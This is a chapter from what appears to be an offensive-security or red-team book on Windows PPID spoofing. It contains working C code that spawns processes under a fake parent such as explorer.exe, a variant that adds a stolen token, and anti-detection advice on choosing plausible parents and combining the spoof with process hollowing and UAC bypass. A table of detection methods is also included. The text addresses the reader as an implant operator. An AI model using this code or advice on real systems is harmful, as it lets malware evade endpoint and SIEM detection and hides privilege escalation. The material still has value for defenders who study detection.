Chapter 48

PPID Spoofing

Every process tree detection in every SIEM is built on parent-child relationships: winword.exe spawned powershell.exe → suspicious. explorer.exe spawned powershell.exe → normal. PPID (Parent Process ID) spoofing lets you choose which process appears as your parent in Event ID 4688, Sysmon Event 1, and the ETW process creation events — independently of which process actually created you. Windows allows this through a process creation attribute: PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. Set it to a handle for explorer.exe, and your malicious child appears to be explorer's child, regardless of the fact that a maldoc or C2 implant actually spawned it.

Why Parent Process ID Matters for Detection

Normal process trees vs what PPID spoofing creates
  Normal enterprise process tree (expected — no alerts):
  ─────────────────────────────────────────────────────────────────────────
  System (PID 4)
    └─ wininit.exe
         └─ services.exe
              └─ svchost.exe
                   └─ WmiPrvSE.exe
  
  explorer.exe (PID 5432)
    ├─ chrome.exe
    ├─ Teams.exe
    └─ notepad.exe
  
  Without PPID spoofing (easy to detect):
  ─────────────────────────────────────────────────────────────────────────
  WINWORD.EXE (PID 7890) ← victim opened document
    └─ cmd.exe  ← macro spawns shell (ALERT: office → shell)
         └─ powershell.exe ← downloads implant
              └─ implant.exe
  
  With PPID spoofing (hides in normal explorer.exe children):
  ─────────────────────────────────────────────────────────────────────────
  WINWORD.EXE (PID 7890) ← actual creator (calls CreateProcess)
    [no visible children — the child process is attached to a different parent]
  
  explorer.exe (PID 5432) ← APPEARS to be parent
    ├─ chrome.exe  ← real children
    └─ implant.exe ← YOUR PROCESS (actually created by WINWORD, spoofed PPID=5432)
  
  Logs say: "explorer.exe (5432) spawned implant.exe"
  Reality:  "WINWORD.EXE (7890) spawned implant.exe"
  
  Sysmon Event ID 1 (Process Create) will show:
    ParentImage:  C:\Windows\explorer.exe   ← spoofed
    ParentProcessId: 5432                   ← spoofed (explorer's PID)
    Image:        C:\Users\...\implant.exe
    ProcessId:    8001

Implementation

/* ppid_spoof.c — Spawn a process with a spoofed parent PID
   
   Uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with UpdateProcThreadAttribute.
   Requires:
     - A handle to the target "parent" process with PROCESS_CREATE_PROCESS access
     - CreateProcessW with lpProcThreadAttributeList set
   
   The spoofed parent MUST be running (you need a valid handle to it).
   The child process inherits the security context of the REAL parent
   (the process calling CreateProcess), not the spoofed parent.
   
   This is important: PPID spoofing changes only what the OS records in
   the process creation events. The actual token, handles, and environment
   come from the real creating process.
*/

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

/* Find a PID by process name */
static DWORD find_pid(const wchar_t *name) {
    DWORD pid = 0;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, name) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

BOOL spawn_with_spoofed_ppid(
    const wchar_t *target_exe,     /* process to create */
    const wchar_t *fake_parent_name /* which process to appear under */
) {
    /* Step 1: Find and open the fake parent process */
    DWORD fake_parent_pid = find_pid(fake_parent_name);
    if (!fake_parent_pid) {
        wprintf(L"[-] Cannot find process: %ls\n", fake_parent_name);
        return FALSE;
    }

    HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, fake_parent_pid);
    if (!hFakeParent) {
        printf("[-] OpenProcess(PROCESS_CREATE_PROCESS) failed: %lu\n", GetLastError());
        printf("    Note: PROCESS_CREATE_PROCESS is a special access right.\n");
        printf("    Most processes grant this to all users by default.\n");
        return FALSE;
    }
    wprintf(L"[+] Fake parent '%ls' (PID %lu) handle acquired: %p\n",
            fake_parent_name, fake_parent_pid, hFakeParent);

    /* Step 2: Build the PROC_THREAD_ATTRIBUTE_LIST */
    SIZE_T attr_size = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attr_size); /* get required size */

    LPPROC_THREAD_ATTRIBUTE_LIST attr_list =
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attr_size);
    if (!attr_list) { CloseHandle(hFakeParent); return FALSE; }

    if (!InitializeProcThreadAttributeList(attr_list, 1, 0, &attr_size)) {
        printf("[-] InitializeProcThreadAttributeList failed: %lu\n", GetLastError());
        goto cleanup;
    }

    /* Step 3: Set the PARENT_PROCESS attribute to our fake parent's handle */
    if (!UpdateProcThreadAttribute(
            attr_list,
            0,                                  /* flags (reserved) */
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, /* which attribute */
            &hFakeParent,                       /* value: handle to fake parent */
            sizeof(HANDLE),
            NULL, NULL))
    {
        printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
        goto cleanup;
    }
    printf("[+] PROC_THREAD_ATTRIBUTE_PARENT_PROCESS set to fake parent handle\n");

    /* Step 4: Create the process with the spoofed attribute */
    STARTUPINFOEXW si = {0};
    si.StartupInfo.cb = sizeof(si);     /* MUST be sizeof(STARTUPINFOEXW), not sizeof(STARTUPINFOW) */
    si.lpAttributeList = attr_list;     /* attach the attribute list */

    PROCESS_INFORMATION pi = {0};
    wchar_t cmd[MAX_PATH];
    wcscpy(cmd, target_exe);

    BOOL ok = CreateProcessW(
        NULL,               /* lpApplicationName */
        cmd,                /* lpCommandLine (writable buffer!) */
        NULL, NULL,
        FALSE,              /* bInheritHandles */
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,  /* dwCreationFlags */
        NULL, NULL,
        (LPSTARTUPINFOW)&si,   /* cast STARTUPINFOEXW → STARTUPINFOW */
        &pi
    );

    if (!ok) {
        printf("[-] CreateProcessW failed: %lu\n", GetLastError());
        goto cleanup;
    }

    wprintf(L"[+] Process created: PID=%lu\n", pi.dwProcessId);
    wprintf(L"    Actual creator: THIS PROCESS (PID=%lu)\n", GetCurrentProcessId());
    wprintf(L"    Logged parent:  %ls (PID=%lu)\n", fake_parent_name, fake_parent_pid);
    printf("[+] Sysmon/Event 4688 will show explorer as the parent.\n");

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

cleanup:
    DeleteProcThreadAttributeList(attr_list);
    HeapFree(GetProcessHeap(), 0, attr_list);
    CloseHandle(hFakeParent);
    return ok;
}

int main(void) {
    /* Spawn cmd.exe appearing as explorer.exe's child */
    return spawn_with_spoofed_ppid(
        L"C:\\Windows\\System32\\cmd.exe",
        L"explorer.exe"
    ) ? 0 : 1;
}

Token and Inheritance Implications

/* ── Token inheritance with PPID spoofing ────────────────────────────── */
/*
 * Critical detail: the child inherits the TOKEN of the REAL parent,
 * not the spoofed parent.
 *
 * Example:
 *   Real creator:   WINWORD.EXE running as user eyes\jdoe (medium integrity)
 *   Fake parent:    explorer.exe running as user eyes\jdoe (medium integrity)
 *   Child:          cmd.exe → inherits eyes\jdoe medium token
 *   (Same token in this case since both run as the same user.)
 *
 * More impactful example:
 *   Real creator:   implant.exe running as SYSTEM (high integrity)
 *   Fake parent:    explorer.exe running as user eyes\jdoe (medium)
 *   Child:          child.exe → inherits SYSTEM token (!)
 *   Logs say:       explorer.exe spawned child.exe (medium integrity expected)
 *   Reality:        child.exe runs as SYSTEM (medium integrity label impossible
 *                   for explorer.exe to produce — anomaly for careful defenders)
 *
 * Combining PPID spoofing with token theft (CreateProcessWithTokenW)
 * lets you spawn a child that:
 *   a) appears to be explorer.exe's child
 *   b) runs with the token of ANY user on the system (e.g., from lsass)
 *
 * Combined technique:
 */
BOOL spawn_spoofed_ppid_with_token(
    const wchar_t *target_exe,
    const wchar_t *fake_parent_name,
    HANDLE hToken             /* duplicated token from target user's process */
) {
    DWORD fake_pid = find_pid(fake_parent_name);
    HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, fake_pid);

    SIZE_T attr_size = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attr_size);
    LPPROC_THREAD_ATTRIBUTE_LIST attr =
        HeapAlloc(GetProcessHeap(), 0, attr_size);
    InitializeProcThreadAttributeList(attr, 1, 0, &attr_size);
    UpdateProcThreadAttribute(attr, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hFakeParent, sizeof(HANDLE), NULL, NULL);

    STARTUPINFOEXW si = {0};
    si.StartupInfo.cb = sizeof(si);
    si.lpAttributeList = attr;

    PROCESS_INFORMATION pi = {0};
    wchar_t cmd[MAX_PATH];
    wcscpy(cmd, target_exe);

    /* CreateProcessWithTokenW uses a different token but does NOT
       support lpAttributeList (legacy API). Use CreateProcessAsUserW instead. */
    BOOL ok = CreateProcessAsUserW(
        hToken,
        NULL, cmd,
        NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
        NULL, NULL,
        (LPSTARTUPINFOW)&si, &pi
    );
    /* Child now runs with hToken's credentials AND appears under fake_parent_name */

    DeleteProcThreadAttributeList(attr);
    HeapFree(GetProcessHeap(), 0, attr);
    CloseHandle(hFakeParent);
    if (ok) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
    return ok;
}

Detection and Evasion Limits

PPID spoofing detections — what analysts look for
  Detection method                           Notes
  ─────────────────────────────────────────────────────────────────────────
  Sysmon Event 1: compare                   Sysmon captures both reported PPID
  ParentProcessId vs the process             and the real creating process (if
  tree (who actually called CreateProcess)   using kernel callbacks). Some EDR
                                             versions show BOTH.
  
  OpenProcess with PROCESS_CREATE_PROCESS    This access right is unusual.
  being requested (rare in benign apps)      Sysmon Event 10 on the handle open
                                             with PROCESS_CREATE_PROCESS flag.
  
  Token integrity mismatch:                  If spoofed parent runs at medium
  child process has higher integrity         integrity but child is SYSTEM/high,
  than claimed parent                        that's impossible without token theft
  
  Process creation chain anomaly:            Elastic, MDE use ML on process
  explorer.exe "children" that don't         trees. explorer.exe very rarely
  match known explorer child patterns        spawns cmd.exe, powershell.exe,
                                             or executables from user temp dirs
  
  WMI process creation events:               Win32_ProcessStartTrace has
  report the REAL creating process via       both ParentProcessID (spoofable)
  the CreatorProcessId field                 AND CreatorProcessId (the actual
                                             process that called CreateProcess)
  
  ETW-TI PROCESS_CREATE event:               Kernel ETW-TI records the real
  includes both reported PPID and the        creating process separately from
  actual requesting process context          the PPID stored in EPROCESS.
  
  Anti-detection:
  ─────────────────────────────────────────────────────────────────────────
  Choose a fake parent that ACTUALLY spawns children of the type you're
  creating. example: if creating cmd.exe, use spoolsv.exe or WmiPrvSE.exe
  which legitimately spawn cmd.exe for printer tasks / WMI operations.
  
  Match the child's behavior to what the fake parent's children typically
  do — an explorer.exe child that immediately connects to a C2 IP is still
  anomalous even with correct PPID.

Questions & Answers

Does PPID spoofing require admin privileges?

Not inherently. PROC_THREAD_ATTRIBUTE_PARENT_PROCESS requires a handle to the fake parent with PROCESS_CREATE_PROCESS access. Standard user processes typically grant PROCESS_CREATE_PROCESS to all users by default — you can open a handle to explorer.exe or most user-mode processes with this right from a non-privileged process. The privilege check is against the target process's security descriptor, not the calling process's privilege level. However, if you want to spoof a SYSTEM process (like services.exe) as the parent, you'll need appropriate access — which typically means you're already an admin. For standard implant operations (appearing as explorer.exe's child), no elevated privileges are required.

If Sysmon records both PPID and the real creator, why does PPID spoofing still work?

Because most detection rules and SIEM queries look at the reported PPID field, not the kernel-recorded creating process field. Sysmon Event ID 1 exposes ParentProcessId and ParentImage — which reflect the spoofed PPID. The "real" creating process is available via other mechanisms (WMI CreatorProcessId, some EDR-specific fields), but these are not in standard Sysmon schema version 3-6 schema that most rules are written against. Rules written as "ParentImage = winword.exe AND Image = powershell.exe → alert" are completely defeated by PPID spoofing. Detections that correlate the full creation chain (using the kernel callback data or WMI) catch it — but these require more sophisticated SIEM logic and are less commonly deployed.

Can you spoof PPID to a process running in a different session (Session 0 vs Session 1)?

Session boundary crossing adds complexity. Processes in Session 0 (services, system processes) require that the calling process has SeCreateGlobalPrivilege or similar rights to interact cross-session. For typical PPID spoofing to evade detection, you want a same-session process as the fake parent anyway — if your implant runs in the user session and tries to spoof lsass.exe (Session 0 system process) as its parent, defenders will immediately see "Session 1 process appeared under a Session 0 parent" which is an even bigger anomaly. Best practice: choose a fake parent in the same session, same integrity level, and that plausibly spawns processes of the type you're creating.

What's the difference between PPID spoofing and process hollowing for process tree evasion?

They solve different problems. PPID spoofing changes which parent a new process appears under in the process tree — it's purely about the parent-child relationship label. Process hollowing (Ch27) replaces the code running inside a legitimate process — it's about disguising your code as a legitimate process. PPID spoofing doesn't change what code runs (your implant code runs under a new process with spoofed parent). Hollowing doesn't change the parent relationship (the hollowed process still shows its real parent). They're complementary: hollow your payload into a legitimate process image (so it looks like, e.g., svchost.exe by name/image), AND spoof its PPID to services.exe (the real parent of svchost.exe) — now the process tree looks exactly like a real svchost.exe service launch.

How does PPID spoofing interact with Windows integrity levels and UAC?

Windows integrity levels are carried in the process token, and the token comes from the real creating process (or an explicitly provided token if using CreateProcessAsUserW), not from the fake parent. So PPID spoofing doesn't affect integrity levels — your child process runs at the integrity level of your real process. UAC elevation is a separate flow entirely: it involves AppInfo.exe mediating the elevation and creating the elevated process with a different token. PPID spoofing during UAC bypass is possible — some UAC bypass techniques spawn a high-integrity process and apply PPID spoofing to make it appear as a legitimate elevated process's child rather than your implant's child. This combines the techniques to both bypass UAC and hide the resulting elevation in the process tree.